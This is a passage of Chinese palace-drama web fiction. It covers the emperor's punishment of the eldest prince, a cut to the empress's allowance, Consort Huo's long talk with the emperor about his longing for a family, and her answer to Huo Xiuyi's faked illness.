身怀六甲的翁美人都没抑住看热闹的心,但她识趣地没往前凑,就躲在暗中悄悄观察,感慨幸亏大皇子挥着宝剑砍不在毁谤编排污蔑辱及的范围内,要不然……呃?要不然奴婢们肯定死捂着不让事情曝出来呀,不然必是宫人的错是宫人们遭殃。 忽闻有声音从耳后传来:“你说这群太妃是不是傻,既然都给太上皇送信了,还要撺掇大皇子闯祸,她们还想指望圣人能再出面吗?”她转头,看见霍海啸和晏霁之从她面前走过就好像没看见她,当然不是他们眼瞎,翁美人默默带跟随的宫人回拾翠阁。 “不是傻,是嫌过得太舒坦。”霍海啸来到长春宫外,明晃晃的指桑骂槐:“裁剪掉几个宫人,鸡毛蒜皮的小事都要死揪着,还想指望能不把后半生的福运作干净?” 被挡在长春宫外的郭皇后和她母亲齐看向霍海啸,霍海啸对她们满满的轻蔑不屑之色,郭皇后敢怒不敢言,她母亲深感屈辱,同在的令愔夫人偏过头垂下眼睑。 霍海啸潦草行个礼就进长春宫,晏霁之比他好点,礼数合规范。 他们进门没多久,班丞相率礼部尚书及两位侍郎、国子监几位大人包括大皇子的老师紧随赶来。令愔夫人欲言又止想请诸位大人帮忙替大皇子求情、求恩典让皇后娘娘进长春宫,可看郭皇后母女脸色差得根本没想到该在此讨个人情,她终是没多嘴。 皇帝有多少怒火又打算如何处置?被传召来的众官员自然都得掂量。长春宫正殿里,班丞相率众给陛下请安过后被赐座再被告知:大皇子服过安神汤已经睡下了,然后果然没逃过被皇帝询问:“七岁多了还如此无状,还能小惩大诫吗?” 众位大臣相互看看,班丞相不想出头而大皇子的老师不好最先表态,国子监祭酒禀道:“陛下,大皇子心地纯善秉性纯良,今早冲撞太后定然是被教唆的,请陛下明察。” “被教唆?”皇帝貌似考虑下后赞同:“卿家言之有理。”同时做出处置:“步昂,负责照料大皇子的奴婢全部杖毙,传魏王夫妇进宫,请魏王接侄儿去魏王府小住十日;魏王世子小小年纪品德淳厚已是皇家小辈的表率,让大皇子出宫去好好学学堂兄的榜样。” 全在意料外的他们:“……” 国子监祖博士即大皇子的老师率先反对:“陛下,不可啊——” 话未尽,皇帝眼中的寒芒射来,立时明白皇帝心意已定。他心下苦笑,跟魏王世子学,让嫡长皇子跟宗亲学,这样不惩戒的处置比杖责大皇子还惨烈啊。 能不惨烈么?这传递的可是皇帝对大皇子极其失望的讯号能直接影响到将来立储时群臣是否意愿举荐嫡长皇子,佟尚书大概是最随意的了,班丞相老眼有点发沉,霍雄鹰看过他大哥又看晏霁之,奈何他俩跟没跟他眼神交流下。 仍是皇帝打破沉寂:“厚运,请皇后独自进来,众卿们帮朕宽慰皇后吧。” 大总管去请郭皇后,愿意劝慰的大臣们还没打好腹稿,郭皇后就进来了,众大臣行礼,郭皇后绷着心弦尽量平静地向皇帝请过安,再让大臣们免礼。 蒋厚运阐述陛下对大皇子的惩戒,郭皇后喜出望外:“不杖刑也不禁足吗?” 看在班丞相他们眼中,差不多都愣下,祖博士忍不住转头苦笑,蒋厚运应是,郭皇后真高兴地连声应好,让她的皇儿去魏王府住几天算什么事,跟魏王世子学这种话当然就是随口说说,魏王府还敢怠慢她的皇儿不成?这惩戒就相当于没有的。 原以为皇帝又要杖刑她的皇儿,没想到皇帝总算还有点志气没对霍家卑躬屈膝到家,郭皇后对这意外当然高兴,放心下来又想起皇帝还要把照料大皇子的奴婢全杖毙? “陛下,赖姑姑是皇儿的奶娘,皇儿自出生就是她在照料皇儿的起居,皇儿离不开她;你要杖毙就杖毙其他奴婢,宽恕赖姑姑吧。” “这名赖女官是椒房殿总管事赖嬷嬷的女儿吧。”皇帝形容温和仿佛很好说话的样子:“朕记得赖嬷嬷是皇后的奶娘,皇后到底是因何才为她求情,坦白告诉朕好吗?” 郭皇后莫名怕下,自己都想不明白怎会突然害怕,瞥过班丞相这群大臣都正常,她再看霍海啸和霍雄鹰都恭顺好像被治住了,她想她就是自己吓自己,好端端怕什么,但她迟疑下还是不愿意承认:“自、自然是皇儿离不开赖姑姑,不然还能因为什么?” “朕还以为是因为这赖女官是皇后奶娘的女儿,皇后才给她求情呢,朕多虑了。”皇帝笑意斯文好像没半点强硬:“既然皇后只是担心皇儿离不开这赖女官就不必宽恕了,大皇子几番闯祸首当其冲就是她的过失,何况岂有皇子离不得个奴婢的混账话。” “步昂,率禁军去执行吧。”皇帝敛起笑意传令,大统领接过旨意就走,郭皇后愣下连忙阻拦:“等、等等,陛下,且慢,臣妾、臣妾既是因赖姑姑是臣妾奶娘的女儿也是因为她嫁人前就在臣妾身边伺候,念及多年的主仆情于心不忍,陛下就宽恕她吧。” 步统领看向陛下,皇帝示意他暂停住,似有兴趣和皇后聊聊:“这名赖女官有女儿吗?皇后对她如此厚待,不会连大皇子将来的妾室位置都许诺过她们了吧?” 郭皇后怀疑不是错觉而是皇帝今天真有点不同,肚里的话没拢住地就往外冒了:“没,我还没想好呢,我是觉得赖家女儿奴婢出身做太子良娣太委屈皇儿了,但奶娘说的也对,皇儿的妻妾当中总得要有跟我同心的,将来我才能也管得好皇儿,陛下怎么想?” 皇帝笑了,班丞相和钱祭酒祖博士他们这群大臣可是都想哭了,佟尚书都被憋得够呛,晏霁之想他都能理解皇帝以前那么宽容郭皇后了,太蠢了。 “不急。”皇帝和蔼宽解道:“皇儿再过四个月才满八岁,离皇儿娶妻纳妾还早得很,焉知皇后将来就遇不到既家世能合你心意又能跟你同心的可心人呢,不必急的。” “陛下说得有理。”郭皇后赞同:“是奶娘她们心急了,皇儿的良娣岂能草率?” 适应好的佟尚书和蒋厚运瞥瞥霍家兄弟,霍海啸和霍雄鹰一个比一个淡定。 班丞相真忍不住想按按额头,他之前是有多糊涂啊。 皇帝似有若无嗯声:“既然皇后给赖女官求情就宽恕她吧,但杖毙的人数不能少,步昂护送皇后回椒房殿,请皇后从服侍她的婢女中挑出一个来代替赖女官吧。” 大统领领旨再请皇后娘娘,郭皇后心情不错地谢恩告退,带着步统领回椒房殿。 隅中的日晖掠过富丽堂皇的大殿照出明与暗,霍雄鹰站在没被光照的暗处,目送郭皇后走出大殿,他受不了地翻白眼,陛下还没立储就连太子良娣都想好了,最无语的是居然能当众曝出太子良娣四字,这种德行都能做五年皇后真是绝了。 没想过自己刚才的应对有何不妥的郭皇后安抚住母亲又让令愔夫人回钟萃宫吧没事了,还在宫道上和魏王夫妇相遇了。她觉着犯不着交代,可架不住她母亲,郭皇后只得端起架子又不失亲和地叮嘱魏王夫妇照顾好大皇子再表示有劳皇兄皇嫂了。 魏王玩味挑眉,魏王妃表面受宠若惊、心里真惊地陪郭皇后母女周旋,送走皇后母女,她拍拍心口怀疑:“王爷,让大皇子来我们王府住十天,没皇后说的那么轻巧吧?” “王妃多多费心思吧,定然有人要大做文章,搞不好想算计大皇子害死我的世子呢。”魏王轻描淡写可把魏王妃吓得瞳孔剧缩:“什、什么?” 皇帝将众臣遣退独自走到庭前,霍海啸兄弟俩和晏霁之慢步走在最末,走出长春宫后跟班丞相他们走相反的宫道,四下无旁人,同样在猜皇帝的用意以及大皇子住到魏王府可能会出现的情况,猜出最危险的情形引得霍雄鹰难以置信:“啥,不可能吧?” “如此难遇的机会,庄太妃怕是很难忍得住,甚至不只是庄太妃,而想利用,还能有比算计大皇子害魏王世子丧命更能激化皇帝和魏王间的冲突吗?”晏霁之揣摩:“但皇帝应该就是故意挖这个坑要让那些人跳,目的就在太上皇。” “太上皇?”霍雄鹰听得稀里糊涂,霍海啸讽刺道:“陛下昨日刚放出批宫人以震慑,今早居然就收到这样的回报,真当陛下没脾气吗?送大皇子进魏王府,那群太妃敢有妄动,皇帝必定传给太上皇知道,圣人对这算计又该有多大的宽容?” “哦,陛下这是要绝掉那群搞三搞四的太妃们在太上皇那里的路?”霍雄鹰恍然佩服:“陛下这计策高明啊,那群太妃肯定猜不出陛下的用意,没准儿还要沾沾自喜洋洋得意呢,这就叫请君入瓮螳螂捕蝉黄雀在后,看我这回不搞死他们。” 晏霁之忽略掉他的我字附和:“皇帝的手腕若是不强哪能有朝堂今朝的平稳,庄太妃在宫中的溃败、我是指她做太妃以来且仅限于在皇宫中的溃败就是她太过低估皇帝了。” 霍雄鹰怀疑他脑子搭错了:“庄太妃在皇宫外还能有什么溃败?” 晏霁之只想略过,霍海啸忍耐道:“人家也会想招揽大臣培植势力的。” 霍雄鹰被噎得白眼老哥,晏霁之琢磨:“你有没有觉得,皇帝让大皇子学堂兄的榜样,还有个讯号?”他看向霍海啸,霍海啸与之对视,眼风微妙而锋利。 “你们打什么哑谜?”霍雄鹰奇怪的瞟瞟他俩。 晏霁之郑重看他:“皇帝对长子极其失望,如何不让这长子影响将来立储呢?” 霍雄鹰怔住,一个像直觉一样自发冒出来的念头直冲脑门—— 废后!! 魏王夫妇走进长春宫,见皇帝站在殿前晒太阳,疾步上前请安。 “大皇子顽劣,老师的教导收效甚微,朕思来想去,决意令大皇子去魏王府小住十日,但愿堂兄的风范能令大皇子羞愧进而改善知礼吧。”正徽帝嬴忱璧注视魏王,意味深长道:“大皇子在魏王府小住期间,朕就辛苦四哥四嫂费心看顾了。” 魏王眼中沁出笑意,嬴忱璧找他联手还真是顺手,心照不宣道:“五弟放心,四哥定然不会辜负你的良苦用心,当以皇家垂范天下勉励侄儿,不叫圣人失望。” “好!”嬴忱璧弯弯唇仿若有所欣慰:“朕谢过皇兄皇嫂,厚运,抱大皇子出来。” 御前总管蒋厚运抱着熟睡的大皇子来到陛下跟前,嬴忱璧抬手摸摸孩儿,隐有动容:“送大皇子去和皇后辞别吧,让皇后好生叮嘱皇儿,辛苦皇兄皇嫂陪着走趟椒房殿了。” 魏王爽快应,轿辇抬来,魏王妃接过大皇子抱着坐进轿辇,他们告退前往椒房殿。 嬴忱璧仍在殿前站立会儿,晒够太阳,他去向贵妃暂住的偏殿。 皇帝到的真是时候,贵妃陪太后姑母在树荫下核账,刚把霍太后要削减的郭皇后的份例拟出来,霍太后见到皇帝即把郭氏的新用度甩上。 是份接近从二品妃的份例。 若按银两算就是以往皇后的月例花销是三千两,目前用度减半,暂定在一千五百两,而新拟的这份月份例是在减半的基础上再折半,月花销七百多两。 霍灵渠托腮,她再三劝过姑母了,这是她能顾及的在用度方面给郭皇后的最大体面。 宫娥捧着托盘来到树荫下给陛下奉上热茶点后自觉退避,皇帝拾起甩在石桌上的宣纸将这新拟的份例逐条阅览,阅毕淡淡道:“母后,郭氏已是清修之人。 郭皇后虽然还在皇宫中也不能坏掉她的修行,脂粉首饰还有油腻荤腥怎好再拨这么多,其实荤腥脂粉这类都可有可无了,郭氏毕竟已是清修之人,母后以为呢?” 霍灵渠抬眸怀疑皇帝憋着坏,霍太后高兴了:“对,皇儿言之有理,就按皇儿的意思,母后再瞧瞧给皇后把份例改到适合她身份的,今儿午后就传令椒房殿施行。” “母后,不必今日就传令椒房殿施行。”皇帝提醒道:“让贵妃找个适当的时候宣布吧,贵妃还要帮朕宣布今后不再留宿椒房殿,一起吧,母后以为如何?” “皇儿思虑周祥。”霍太后自然懂:“好,皇帝陪着贵妃吧,母后不打扰你们了。” 霍太后领着批宫人离开,霍灵渠恭送过姑母,重新坐下后仍手托腮想叹息。 皇帝把还随侍在院里的宫人遣退,在石凳落座,端起茶盏浅啜。 阳光掠过树缝被滤掉直曝太阳底下的热,树荫下的光影斑点裹着令人瞌睡的暖,正徽帝嬴忱璧像故意试探:“贵妃可是觉得朕不该这样计较,如此委实没有皇帝的气量?” “没有啊。”霍灵渠摇头:“你不想多供给她花销就不给,跟气量有什么关系?” “朕是不想再做自以为的善人,每月减两千多两,九个月能多出二万多两,都能够给北境好几万将士冬月里备身棉衣了。”嬴忱璧就当贵妃是真心话了,笑问:“贵妃在哀怨什么,朕过来时就看贵妃唉声叹气的,可是被大皇子吓到了?” “小孩嘛,一个还不到八岁的小孩有甚可怕,姑母让我回避,我还藏在姑母身后探头探脑观察呢。”霍灵渠萎蔫儿道:“我也没觉得心情多差,没有高兴的事犯不着欢喜吧,但我真意外你的嫡长子居然还不到八岁,你和郭皇后成亲快要满十二年了吧。” “下个月满十二年。”嬴忱璧垂眸道:“大皇子是授康二十五年八月出生的。” 霍灵渠讶然:“郭皇后嫁给你的前三年都没怀过胎,你也没有因此弄出个庶长子来?”得到肯定答案,她都有点替他们怅惘:“妇人出嫁三年没怀过胎都够休妻了,可惜了,郭氏嫁给你三年没怀孕你还坚持要她生的嫡长子,这样的情份都没挡住你们渐行渐远。” “贵妃言之差矣,这对她不是情份。”嬴忱璧纠正:“朕也曾天真得认为她会感念在成婚三年她都没怀过胎之际我仍然等着她生嫡长子,后来明白是我想太多,莫说三年,郭氏哪怕成婚五六年十年八载都没怀过,我还等着她生嫡长子,她都会视作理所当然。” 霍灵渠真忍不住唏嘘,嬴忱璧猛然曝出:“虽然她嫁给我的前三年没怀胎是我的算计,但她不知道啊。”惹得贵妃眨眨眼看向皇帝确认遍:“陛下说,你在算计?” “对,朕不想在孤单力薄时就做父亲,我想在我至少有本事能护家眷时再做父亲。” 光影流连似羽毛轻柔,划过皇帝的龙颜携走晦涩,霍灵渠注视着皇帝,仿佛能窥见他心中悲凉,她想皇帝应该是真的曾对郭皇后怀揣过很深很殷切的期盼吧。 “陛下很想有个家吧。”霍灵渠感怀,正徽帝嬴忱璧怔下,丹凤眼微微大睁竟有些无措,一个那么简单的家字好似能直击他心底最柔软辛辣之处能逼他险些呛出泪,他尽量表现淡然却更像在欲盖弥彰:“贵妃说什么呢,不就是郭氏嫁给我前三年没怀胎。” “是呀,你故意让你的妻在嫁给你的前三年都没怀胎,可你是不想让她生养吗?” 霍灵渠微笑着剖出:“不是,是你在意妻子,是你对妻儿对你们的家寄予厚望,否则你何必费心思,看我霍家,我大伯和我爹对妻儿的态度就明明白白的。 霍秦川在意,霍海啸就被家族栽培得卓越不凡;霍漓江不在意,霍振羽就被他母亲养得他二十岁娶妻做父亲了还像个没断奶的娃。你若不在意,何必管妻室何时生、生不生,除非你很在意,你把妻儿揣在心窝里,你才会如此费心。” “朕只是对自己的要求高。”皇帝忍着鼻酸逞辩:“不想我的人生被糟践。” “你可以不娶妻,晏霁之对自己的要求高,他就还没有娶妻。”霍灵渠平静戳破:“臣妾相信陛下对自己的要求高,否则你根本不必在家庭费心,故,你很想有个家,那么你对嫁给你的女人寄予厚望、你想要夫妻恩爱家庭美满自是顺理成章。” “朕、朕…”嬴忱璧颇感如坐针毡,贵妃犀利得叫他想躲避:“朕根本不喜郭氏。” “但你真在意她,或者说不是郭后本人而是嫁给你占着你正妻位置的女人,谁嫁给你,你都会很在意她。”霍灵渠喟然直指靶心:“你对家的渴望注定你的在意,而恰是你对自己的要求高令你不会把妾室置于妻室前,妻妾儿女中你最在意的必是嫡妻嫡儿女。 你没有喜欢上郭皇后不是她德行差而是她没有给你回报、没有给你你想要的幸福美满。你对妻子付出过很多心血更寄望过很多憧憬,你应该有过很多年想跟她白头偕老,但你最终只得到场空,你心凉了,你若还要去喜欢,你就真的是在犯贱了。” 皇帝强装没事人深深看贵妃,没言语更有些严肃想给自己保留点体面,可他的眼眶不可遏止地湿红了,他早就领教过,他早该明白贵妃是洞察人心的高手。 “进宫以来,我一直猜你在意郭皇后可你总是驳斥,我没有猜错,是你在自欺欺人。”话到这份上,霍灵渠当然不能退,道出剩余的假设仿佛实情就是如此:“其实,只要她能给你个让你觉得温暖的家,她纵有再多不好、你都会包容她甚至喜欢她。” 嬴忱璧倏然握拳,瞪着贵妃强硬否决:“浑话,朕岂是那等昏聩又饥不择食之辈。” 霍灵渠捧起茶盅慢饮两口,就在皇帝以为贵妃退让时她陈述出让皇帝深觉悲凉的事实:“但郭皇后真真切切就是占据你心神最多的女人,你再不愿意承认都改变不了。 你对正妻的重视是童年时的霍灵渠无法比拟的,令愔夫人才貌俱佳品性更比她好很多,话不投机不是让你没动情的根本,而是有郭氏挡在前,你的热忱都给郭氏了。” 嬴忱璧下意识想反驳,可迎着贵妃好似只是敞明她的见解而根本没有争辩的意思,他忽然觉得此刻的自己就像个跳梁小丑,终是苦笑声,垂下已然满布血丝的凤眸。 “你对郭皇后的怨恨至今未消吧。”霍灵渠顺理成章揣测:“多年心血憧憬付诸东流甚至得来不屑一顾的回报,你恨,你如何能释怀放下?倘若你释怀了,郭皇后对你会像陌路人,你对她应该是任她如何都不会引起你心绪波动,而恨同样是种在意。 你恨郭皇后,故而你能计较到在用度上把中宫的体面踩到泥里,这绝非是释怀,更令你执拗的是你发现即使她死都不能消除你心里的恨, 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霍灵渠走到皇帝面前蹲下来,双手握住他垂放在膝盖的手,眉眼柔和而坚韧好像溢闪着母性的光辉能指引迷途的孩童找到方向:“陛下这又是何必,你不喜欢我、我不喜欢你,你对我所有的好意里并不包含男女情,你只是仍然渴望着想有个家。 在对着寄予厚望的妻子的失望下,在你还没有遇见喜欢的女人之际,我恰好出现了,你觉得你可以拿霍灵渠来填补那份憧憬的缺失以供你继续对家的渴望,这种渴望让你盲目执拗甚至让你不愿意正视会否重蹈覆辙。前车之鉴就在眼前,陛下何苦呢? 你想有个家、想要幸福圆满,必定是和你两情相悦的女人才能给你,你硬绑着我只会让你我都痛苦,你大权在握就让我出宫吧,放过我更是放过你自己。” 自觉沉默许久,沉默到哄乱的耳鸣消失、凄凉的心境平复,嬴忱璧睁开眼眸,一睁眼就撞进霍贵妃暖意流动的如水眼眸里,似一泓暖暖的清泉流淌进他干涸的心田能瞬间滋润他叫他心底开出花儿来,嬴忱璧觉得好像真的看见了花开。 他猛然把霍贵妃拉起抱在怀里,不顾贵妃的挣扎将她狠狠搂住。 皇帝紧箍着贵妃又埋首在贵妃怀里,如此这般躲起来仿佛能给他勇气让他坦诚:“对,贵妃剖析得都对,这是朕一遍遍想过又不愿意深想宁愿就这样糊涂着的烂账,我以为这笔烂账只会在我心底腐烂发臭结痂封禁,没想到,猝不及防间就被贵妃挖出来了。” “对,我对你没有男女之情,我同情你怜悯你想补偿你更想拿你来弥补我,我想让你做我心爱的女人期望着我能和你有个家、我想和你恩爱不疑白头偕老。”嬴忱璧潸然苦笑:“我对你憧憬着很多很多,但这些通通还停留在我的想法,我至今没有心悦于你。” “很正常呀,喜欢哪有那么容易的,我和晏霁之相处那么多年他才刚喜欢上我,我跟你才相处几天呀何况我都不喜欢你,你喜欢我作甚,两情相悦才叫好呢。”霍灵渠迟疑下还是拍拍皇帝的肩膀,劝道:“陛下放下吧,盲目执拗只会伤人伤己。” 嬴忱璧冷静会儿后缓缓抬头面对,神情肃穆地平视贵妃,眼中的决绝和渴望亮得叫人心惊好似在这顷刻间他已然能斩断过往纠缠要认真寻求他的幸福。 “贵妃,你我现在还没有喜欢彼此就代表我们将来也不会喜欢彼此吗?前些天在刑部,我给出那两份诏书时曾言这就只是一个男人想对他喜欢的女人好,喜欢二字不算假话,虽然朕现在还没有喜欢贵妃,但朕相信在不久的将来我会心悦于你。” 霍灵渠想反驳被皇帝截住,嬴忱璧认真倾诉:“贵妃,我没有喜欢过谁,至今从未有过,或许我动情很难,但你真的是我至今唯一放在心里想要喜欢的人。我承认十二年前我娶妻时把你放开了,倘若妻子能与我情投意合能给我我想要的家,你我的确会缘尽。 但你我就是有缘,你注定要做我的皇后。在你重新出现前我没有喜欢过谁,我在登基时把你放在心里,我相信我们会日久生情,借用贵妃对喜欢的领悟就是,你是我今生唯一愿意喜欢的人、是我唯一想要喜欢的人,我想让你做我心爱的女人。” 霍灵渠相信这是皇帝的肺腑之言,没点感触是假的,但也就是有点感触而已,挑不起她心田任何涟漪更不会动摇:“但我不会喜欢皇帝,仅凭你是皇帝,我就不会喜欢你。陛下把这个执念放掉吧,这种盲目执念对你对我都没有好处,放我出宫才是对你我的成全。” 嬴忱璧丝毫没受影响:“贵妃放心吧,朕既承诺过会给你时间去遗忘就会把你这种言谈当做耳旁风,朕坚信你我还有半生的深情厚爱几十年的幸福;倘若我们有前世,我相信你才是我的皇后而非郭氏,今生我们更会恩爱到老,贵妃闲暇多想想做皇后生皇儿吧。” 霍灵渠被噎得鼓圆腮帮瞪他,嬴忱璧看得心痒喉咙痒还手痒想捏捏贵妃的脸蛋,皇帝辛苦忍住心痒手痒喉咙痒,说点正事降降燥热:“昨日贵妃出面担下算计那娉姨娘,有些太妃在怂恿霍秀仪对贵妃礼尚往来了,贵妃留意吧,霍秀仪撑不了几天。” “蛊惑她算计我和晏霁之?”霍灵渠没多大感触但还是有点落寞,嬴忱璧应对:“怂恿她的说辞差不多是,贵妃会压得她永无出头之日,既然没什么父女情就谈利益协作,唯有把霍贵妃钉死逼穆国公只能把她捧上高位才是她唯一的出路。” 正徽帝嬴忱璧捏捏眉心,厌恶道:“不用几日霍秀仪就会被骗住,朕看她是无药可救了,教训还在眼前,她就能抛诸脑后又想着拿捏霍家,还不如这月就病逝。” 霍灵渠当皇帝讲的病逝就是被惹恼了说说,没在意,喃喃问:“是哪几位太妃?” “昨日霍秀仪假扮建威侯夫人的婢女私自出宫是庄太妃襄助,今早教唆大皇子闯到长春宫来胡闹是小朱太妃在背后,怂恿霍秀仪算计贵妃、热情最高的是鞠太妃,至于会有多少位太妃牵涉进这场算计中,人数在增加,波及的范围也在不断扩大。” 嬴忱璧讥笑:“太妃们可不只怂恿霍秀仪,还在怂恿皇后、令愔夫人、翁美人和杭婕妤甚至是喻秀仪和倪芳华企图把郭皇后和嫔妃们推在台前好掩盖藏在背后的她们。” “芷筠斋不是刚换过批宫人,都没用吗?”霍灵渠嫌烦躁:“太妃们真闲得慌吗?昨日又放出批宫人后,皇宫的宫人数不足六千了,我姑母打算下个月进二百名宫人,五千九百多名奴婢不够使唤吗?够的话,我真不想再进宫人了,嫌糟心。” “财帛动人心,太妃们多金银珠宝能买通进芷筠斋的路,或许唯有杖毙才能够禁住。”嬴忱璧看开了:“太后想凑满六千名宫婢就凑吧,根源就不在于有多少宫人。” 霍灵渠抿抿唇神情厌烦不耐,看在嬴忱璧眼中愣是诱得他愈发心燥热,对于个对这女人有欲望的皇帝而言,嬴忱璧悄悄把贵妃抱紧些,忍三年确实太折磨他。 内侍小跑到庭前禀告:步统领求见陛下,真不知是解救皇帝的心痒还是打断皇帝的享受让他郁闷,而皇帝更郁闷的是他还没松手、贵妃就推开他站起来恭送他了。 嬴忱璧憋闷地装若无其事离开,来到长春宫正殿前,见到步昂,一个眼神过去,步统领低下头压低声音禀告:代替赖女官的宫女和两名眼线皆已安排假死转移。 没再多留,皇帝向太后告退,前往椒房殿,送大皇子随魏王夫妇出宫。 这消息是在午膳前传遍内廷更像烧烫的水在皇城地处较偏僻的宁寿宫和慈寿宫中沸腾,庄太妃像有股从骨子里生出来的兴奋席卷她,没犹豫的就去找朱太妃。 “你就不怕是皇帝的陷阱,这是特意布置想让太妃们往里跳?这群老女人多不安生,就不能懂事地认命养老吗,非得趁着太上皇在世时闹腾不休,惹怒皇帝对她们有什么好处?”朱太妃几乎没有生趣的脸庞泛起讥讽:“连我都自觉皇帝没什么耐心了。” “就是针对我的陷阱又如何?”庄太妃枯败的眉眼里漾出不似在她衰老的脸上该有却跟她有说不出契合的光彩:“皇帝还太年轻,他能算到多少,他和魏王若想螳螂捕蝉,朱妹妹就该让他们知道什么叫聪明反被聪明误,姐姐可是诚心请妹妹相助。” 朱太妃拨着佛珠手串,提醒道:“四月二十一就要调护国公回京,何必再生事端?” “妹妹若觉着这点事还能影响圣人调护国公回京的心意,让大皇子在魏王府多住几日,管住你堂妹在这十日里莫多生事。”庄太妃抚抚鬓角,嫌拙劣道:“像怂恿霍秀仪算计霍贵妃和英王世子这种计谋就让她们消停了吧,霍宝鸾姑侄俩又不傻。” “兴致高,有没有这档事都不会影响皇帝对太妃们的态度,太妃们养老已经够苦闷了,何苦再给她们浇冷水,况且?”朱太妃缓缓扬起闪着生趣的笑意:“况且郭皇后和建威侯府还有霍秀仪的兴致更高,太妃们此时抽身仍然会被记账,何必白白背黑锅?” 目下消息灵通者似乎都有意无意关注霍秀仪何时出手,没叫他们失望更没让看客久等,翌日即四月十二早晨,小太监跑到长春宫禀告:霍秀仪高烧不退、鞭刑的伤口溃烂,太医诊断霍秀仪可能有性命垂危之险,霍秀仪想在死前见贵妃堂姐一面求贵妃允她。 霍灵渠接到禀告时在修剪花枝,她怔愣片刻,想皇帝猜的不准,哪里是撑不了几天,这分明是只撑了一天甚至一天都没撑到,昨天筹备好,今早实施而已。 沉默半响,霍灵渠闭闭眼,洗净手,拿绢帕擦干,去找她姑母将姑母安抚好,派内侍传霍雄鹰去芷筠斋跟她会合,她再带着大群宫婢摆着排场出门。 99. 第99章 晨间灿烂,清清夏日舒朗,和暖微风将初绽的茉莉花瓣传向纵横宫道。 霍灵渠乘坐轿辇来到芷筠斋前,她搭着宫娥的手臂走下轿辇,一袭曳地长裙轻盈划过,镶着碎宝石的裙摆在阳光下闪烁着五彩光芒。 “芷筠斋?”霍灵渠看着芷筠斋的匾额莫测笑:“芷意为香草,筠乃青竹,芷筠二字可是清雅高洁的好意蕴。”她注视会儿,太医和芷筠斋的管事带人出来请安,欲请霍贵妃进门时被挡住,霍灵渠再求证:“霍秀仪当真病重得性命垂危了?” 管事姑姑预想过好多遍还是在这刻真要面对贵妃时忍不住心慌,藏在袖中的千两银票忽然格外烫手,可她能怎么办,她若不帮衬,霍秀仪就要弄死她啊;不管怎么样,霍秀仪都是穆国公的女儿想弄死她太容易了,她唯有帮衬着才有生机啊。 诊治的柳太医镇定许多:“是,老臣医术不精难救秀仪娘子,请贵妃再传太医来吧。” 霍灵渠转向芷筠斋的管事姑姑要她亲自答,再得到个霍秀仪病危的答案,她真想笑只是笑意太涩:“都是姓霍,何以关雎宫那位管事姑姑与芷筠斋的管事竟是截然相反的态度,是霍贵妃已非清白身,注定前途末路,而霍秀仪还有前程可期吗?” 芷筠斋这管事姑姑滞住,她还可以向贵妃投诚啊,贵妃应能保住她:“贵妃?” 霍灵渠摆摆手,转过身背对芷筠斋的匾额,传令道:“去搬把椅子来,待霍秀仪的嫡兄也就是本宫的堂弟霍雄鹰来与我会合,我们再商量如何给这妹妹医治。” 管事姑姑心惴惴的,贵妃的反应摆明霍秀仪的计策不可能成功了,可她也不能再说了,让宫人去给霍贵妃搬桌椅准备茶水来,只能祈祷贵妃对他们这些奴婢高抬贵手。 座椅高几和热茶糕点备来,霍灵渠落座,捧起茶盏,还跟宫人闲侃:“内廷属嫔妃住的宫殿有十九座,八座主宫殿十一座从殿,算上皇后的坤宁宫是二十座。 低位嫔御住高规格的宫殿是住配殿偏殿,住对应品阶的殿阁方能居主位。一品、二品妃各配有四座宫殿,三、四品嫔御各配三座殿阁,五品及以下嫔御共五座散殿。 坤宁宫占地二十五亩,一品四妃的宫殿每座二十亩,二品妃的四座宫殿每座十六亩。三品嫔御居主位的殿阁对应在十亩,四品殿阁对应在八亩,余下五座散殿合计二十五亩。芷筠斋多少亩呀?” 管事姑姑谨慎禀道:“禀贵妃娘娘,芷筠斋占地十亩,陛下目前的嫔妃少,内廷多数宫殿都还闲置着,故而,陛下并未严格对照嫔妃们的品阶来赐住宫殿。像,杭婕妤的婵娟馆也是三品嫔妃才能居主位的殿阁,有十亩,翁美人的拾翠阁是八亩。” “慈寿宫和宁寿宫两座宫殿合计占地是三十五亩吧。”霍灵渠笑悠悠:“曾经七品的嫔御都能独住五亩的殿阁,而今五十多位太妃缩挤在个三十五亩的地方,平均一人半亩多,每日对着个巴掌大的住处,难怪不是滋味了,是吧?” 管事姑姑实在没法接话,弯弯腰恭敬赔笑:“娘娘您可说笑折煞奴婢了。” 霍灵渠瞧她眼,示意她退避在旁,自己抬手抵着额头闭目养神。霍雄鹰骑马赶来,赶到芷筠斋前看见他贵妃姐姐在等他没被欺负才松口气,忙翻身下马迎上前去。 “霍鹣娇人呢,让她麻溜给我滚出来,装什么——”搞清楚情况,霍雄鹰就差要撸起袖管来算账,霍灵渠忙按住弟弟打断改交代:“雄鹰、雄鹰,既然四妹危在旦夕,我们若再袖手旁观岂不要遭雷劈么,老话不是说了有钱能使鬼推磨嘛。 既然四妹病入膏肓连太医都不能救治了,唯今计唯有给鹣娇散财帮她消灾解难了。雄鹰你就带人进芷筠斋把鹣娇的财物全部装箱抬出来,拿来我们给她散财救命。 假设她有八千两银子,一天给她用八百两,就把娉姨娘三人宣来拿六百两银票给他们,你拿二百两银票出宫找米铺买米送给过路的百姓当做日行一善。假若鹣娇能好起来,这钱财就没白花,值得;若是鹣娇没福分,在她死前帮她用尽财物也算让她没有遗憾了。” 镇定皲裂的柳太医&被憋住的芷筠斋宫人&看戏的宫人们:“……” 看戏的宫人们憋着笑,陪着贵妃过来的严厉的陶女官都掩唇笑,霍秀仪妄想以弱博强、在强弱如此悬殊时算计堂姐还妄想贵妃能对她客气,真是笑话。 芷筠斋的管事姑姑又像哭又像笑,这也太不按常理出牌了,她就没见过这样的招数,可芷筠斋能拦得住吗?霍秀仪能忍住不好转吗?想都不要妄想了。 柳太医是昌隆侯的人,他原还有侥幸,朱太妃她们打点好五六位太医了,只要霍贵妃再传太医来他们就能把事态把控住,哪想霍贵妃根本没按他们的设想走,到底是老穆国公捧在手心里养大的宝贝孙女啊,他是不用妄想还能脱身了。 “三姐姐你说的太有道理了,对,对对对对对,我们就是要花光霍鹣娇的钱财给她消灾解难给她保平安,她都快要病死了怎么能不给她花钱。”霍雄鹰乐得险些肚皮抽抽,稳住,装模作样地带着大批长春宫来的宫人们闯进芷筠斋。 霍灵渠再派两个小太监出宫,去愗郡公府宣霍鸳娇带霍超群和娉姨娘在昭德门外候着,两名内侍领命退下,芷筠斋的管事姑姑硬着头皮请示想派个宫女进去禀告霍秀仪,得霍贵妃允准后连忙让身边的小宫娥去报信。 “什么??!” 